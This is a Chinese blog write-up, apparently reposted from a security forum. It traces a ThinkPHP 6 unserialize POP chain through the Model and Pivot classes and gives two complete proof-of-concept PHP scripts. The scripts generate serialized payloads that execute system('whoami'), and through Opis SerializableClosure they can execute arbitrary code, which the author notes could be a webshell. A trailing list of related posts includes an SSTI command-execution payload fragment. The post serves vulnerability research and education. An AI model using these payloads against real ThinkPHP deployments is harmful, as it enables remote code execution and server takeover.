ThinkPHP 6 反序列化漏洞

ThinkPHP6 反序列化漏洞

环境W

tp6.0 apache php7.3

漏洞分析

反序列化漏洞需要存在 unserialize() 作为触发条件,修改入口文件

app/controller/Index.php

注意tp6url访问直接是 /控制器/操作/参数…………,相比tp5少了模块这个地方,本地测试的需要注意。

全局搜索 __destruct

可利用的在/vendor/topthink/think-orm/src/Model.php

跟进$this->save()

去看一下 setAttrs 方法

public function setAttrs(array $data): void
    {
        // 进行数据处理
        foreach ($data as $key => $value) {
            $this->setAttr($key, $value, $data);
        }
    }
public function setAttr(string $name, $value, array $data = []): void
    {
        if (……) {
                    ……
        } else {
            // 检测修改器
            $method = 'set' . Str::studly($name) . 'Attr';
            if (method_exists($this, $method)) {
                $array = $this->data;
//注意这里可以调用动态函数,执行命令,但是上面对 method 进行字符串拼接
                $value = $this->$method($value, array_merge($this->data, $data));        
    }

这里是不通的,继续往下审计,

跟进 $this->updateDate()

检查数据之后获取有更新的数据,这两个函数可以用来绕过下面的的 if 语句

后面构造pop的时候再细说。

跟进检查允许字段$this->checkAllowFields()

跟进 $this->db

注意这个字符串拼接符号$this->name . $this->suffix ,可以利用其触发__toString

全局搜索 __toString,芜湖,来到了熟悉的conversion类里

继续跟进__toArray

前面的遍历先不看,跟进 getAttr()

先看返回值 的 $this->getValue

这里的

$closure = $this->withAttr[$fieldName];
 $value   = $closure($value, $this->data);

注意看这里,我们是可以控制$this->withAttr的,那么就等同于控制了$closure

可以作为动态函数,执行命令。根据这个点,我们来构造pop。

pop链构造

一开始 我们需要 控制 $this->lazySave变量为真,然后进入save()方法,需要执行$this->updateDate不能被 提前return,去看 is_Empty() , trigger()方法,

public function isEmpty(): bool
    {
        return empty($this->data);
//FALSE if var exists and has a non-empty, non-zero value. Otherwise returns TRUE.
//$this->data 可控,设置非空的数组就好。
    }
    protected function trigger(string $event): bool
    {
        if (!$this->withEvent) {
//!$this->withEvent 可控
            return true;
        }

且还需要 $this->exists 为真 ,这个参数也是可控的。

进入 $this->updateData 方法后,我们需要程序执行到 $this->checkAllowFields() 在此之前同样不能被return

跟进 getChangedData()

我们希望 $data 不改变,所以就令$this->force 为真。

$this->lazySave == true
$this->data不为空
$this->withEvent == false
$this->exists == true
$this->force == true

model 类是复用了trait 类 的,可以访问其属性,和方法。Model 类 是抽象类,不能被实例化,所以我们还需要找到其子类。

Pivot类就是我们需要找的类。

到这里我们成功执行到了 $this->checkAllowFields(),还得进入 $this->db()

$this->field为空,$this->schema也为空。初始就是空数组,不做处理。

现在进入到 $this->db() 里。

$this->name$this->suffix设置为含有__toString的类对象就可以触发此魔术方法。

但是这里有意思的是,我们需要触发__toString 的类 是conversion 类 而这个类是trait类,

而当前的model类是 复用了 conversion类的,所以我们相当于重新调用一遍 Pivot 类。也就是重新调用一下自己,触发自己的的__toString方法。这个操作在buuoj上的一道题目中遇到过。

再接着就是 toJson() toArray() ,前面两个foreach 不做处理,再下来这个foreach会进入最后一个if分支,调用getAttr方法。这个foreach 是遍历 $this->data,然后将$data$key传入getAttr

$data = array_merge($this->data, $this->relation);

        foreach ($data as $key => $val) {
            if ($val instanceof Model || $val instanceof ModelCollection) {
                // 关联模型对象
                if (isset($this->visible[$key]) && is_array($this->visible[$key])) {
                    $val->visible($this->visible[$key]);
                } elseif (isset($this->hidden[$key]) && is_array($this->hidden[$key])) {
                    $val->hidden($this->hidden[$key]);
                }
                // 关联模型对象
                if (!isset($this->hidden[$key]) || true !== $this->hidden[$key]) {
                    $item[$key] = $val->toArray();
                }
            } elseif (isset($this->visible[$key])) {
                $item[$key] = $this->getAttr($key);
            } elseif (!isset($this->hidden[$key]) && !$hasVisible) {
                $item[$key] = $this->getAttr($key);
            }
        }

进入getAttr 方法,这里的$name 是 $key

跟进getData

跟进getRealFieldName()

$this->strict `默认值为True 所以 `$fieldName = $key

,$key是一定存在与$this->data 里的,然后$this->getdata()返回的$value值就是 $this->data[$key]

最后return $this->getValue($key, $this->data[$key], $relation)

进入 getValue()

同理,这里的$fieldName就是 $key$relation在传入时设置值就是false,然后 我们设置一下$this->withAttr[$fieldName]的值,进入if(``isset($this->withAttr[$fieldName]))分支。进行命令执行。

poc

<?php
namespace think\model\concern;

trait Attribute{
    private $data=['jiang'=>'whoami'];
    private $withAttr=['jiang'=>'system'];
}
trait ModelEvent{
    protected $withEvent;
}

namespace think;

abstract class Model{
    use model\concern\Attribute;
    use model\concern\ModelEvent;
    private $exists;
    private $force;
    private $lazySave;
    protected $suffix;
    function __construct($a = '')
    {
        $this->exists = true;
        $this->force = true;
        $this->lazySave = true;
        $this->withEvent = false;
        $this->suffix = $a;
    }
}

namespace think\model;

use think\Model;

class Pivot extends Model{}

echo urlencode(serialize(new Pivot(new Pivot())));
?>

成功执行

$value  = $closure($value, $this->data);

这个动态函数的参数有两个 第一个是 $data$value 第二个就是 $data 数组。这里我们可以执行system('whoami')是因为system支持两个参数的,但是这里的参数问题导致我们的利用条件很局限。

tp6自带一种SerializableClosure调用,也就是

\Opis\Closure\SerializableClosure

这个包呢,和php自带的反序列化函数不同的地方,就是可以反序列化函数,就是可以把函数反序列化。

php对用户自定义函数的参数要求并不是很严格,可以看下面这个。

所以我们可以通过但反序列化函数绕过这里参数的限制。

$func = function(){phpinfo();};
$closure = new \Opis\Closure\SerializableClosure($func);
$closure($value, $this->data);// 参数不用管。

修改上面的pop

<?php
namespace think\model\concern;

trait Attribute{
    private $data;
    private $withAttr;
}
trait ModelEvent{
    protected $withEvent;
}

namespace think;

abstract class Model{
    use model\concern\Attribute;
    use model\concern\ModelEvent;
    private $exists;
    private $force;
    private $lazySave;
    protected $suffix;
    function __construct($a = '')
    {   
    $func = function(){phpinfo();};//可写马,测试用的phpinfo;
    $b=\Opis\Closure\serialize($func);
        $this->exists = true;
        $this->force = true;
    $this->lazySave = true;
    $this->withEvent = false;
        $this->suffix = $a;
        $this->data=['jiang'=>''];

        $c=unserialize($b); 
    $this->withAttr=['jiang'=>$c];
    }
}

namespace think\model;

use think\Model;

class Pivot extends Model{}
require 'closure/autoload.php';
echo urlencode(serialize(new Pivot(new Pivot())));

?>

自行下载 \Opis\Closure\这个包,链接

poc放在closure 文件夹同级。

写在后面

这个反序列化漏洞最终是利用了可变函数,以及函数的反序列化绕过参数的限制。所以当可以使用自定义函数的时候,参数就变得不是那么重要,再加上可以反序列化函数的这个包,可以利用的地方就更多了。如果有问题,还请师傅们指出。

本文来源于: https://xz.aliyun.com/t/9405

相关推荐

CVE-2019-12422 Apache Shiro RememberMe Padding Oracle

前置知识 CBC模式 首先我们可以看一下CBC模式的流程图 初始化向量IV和第一组明文XOR后得到的结果作为新的IV和下一组明文XOR,按这样循环下去就得到结果。解密是加密的逆过程,也就是密文被Key解密为中间值,然后中间值与IV进行XOR

Nginx_lua 100参数绕过原理详解

一、环境搭建 Nginx_lua 安装 https://github.com/openresty/lua-nginx-module#installation wget 'https://openresty.org/download/ngin

CC链 1-7 分析

一、简介 Apache Commons 是对 JDK 的拓展,包含了很多开源的工具,用于解决平时编程经常会遇到的问题。Apache Commons 当中有一个组件叫做 Apache Commons Collections,封装了 Java

记一次 getshell 过程

前言 兜兜转转最终拿到了 shell ,但是发现大佬已经在前一个小时 getshell 了,记录一下我是怎么发现的过程。 未授权测试是违法的,仅供学习交流。 过程 打开网站查看源代码,发现成功登录后会跳转到 f0.html 文件 没登录直接

GitHub SSTI靶场 wp

本人小白,师傅们勿喷 payload主要有两种形式: 一种是获取os来执行命令 {{''.__class__.__mro__[-1].__subclasses__()[117].__init__.__globals__['popen']('

记一次详细的代码审计

前言 本篇是对极致CMSv1.7漏洞的一些新的发现,先从MVC开始到漏洞的发掘利用 MVC篇 首先,先打开index.php <?php // +-----------------------------------------------

Yii2反序列化RCE 新POP链

Yii反序列化漏洞 0x搭建环境 首先利用composer安装yii2框架 composer create-project yiisoft/yii2-app-basic yii2 yii2 version <= 2.0.41(GitHub最

Typecho反序列化漏洞分析

Typcho反序列化漏洞分析 影响范围: 2017年10月24日之前的所有版本 环境搭建: 下载地址:http://typecho.org/,这里主要是说下,在intall之前,需要我们手动去数据库添加Typecho数据库 我之前去官网下载

Java反序列化 — URLDNS利用链分析

Java反序列化 我们都知道一个对象只要实现了Serilizable接口,这个对象就可以被序列化,java的这种序列化模式为开发者提供了很多便利,我们可以不必关系具体序列化的过程,只要这个类实现了Serilizable接口,这个类的所有属性

Burpsuite新手教程(一)Burpsuite在各场景下的抓包应用

1.网页抓包 1.1 火狐浏览器抓包 环境需求: 火狐浏览器 代理插件 (1) 打开测试工具BurpSuite,默认工具拦截功能是开启的,颜色较深,我们点击取消拦截。 下图取消拦截状态,数据包可以自由通过: (2) 按下图顺序点击选显卡

Internal System wp2021hfctf

代码审计 const express = require('express') const router = express.Router() const axios = require('axios') const isIp = requ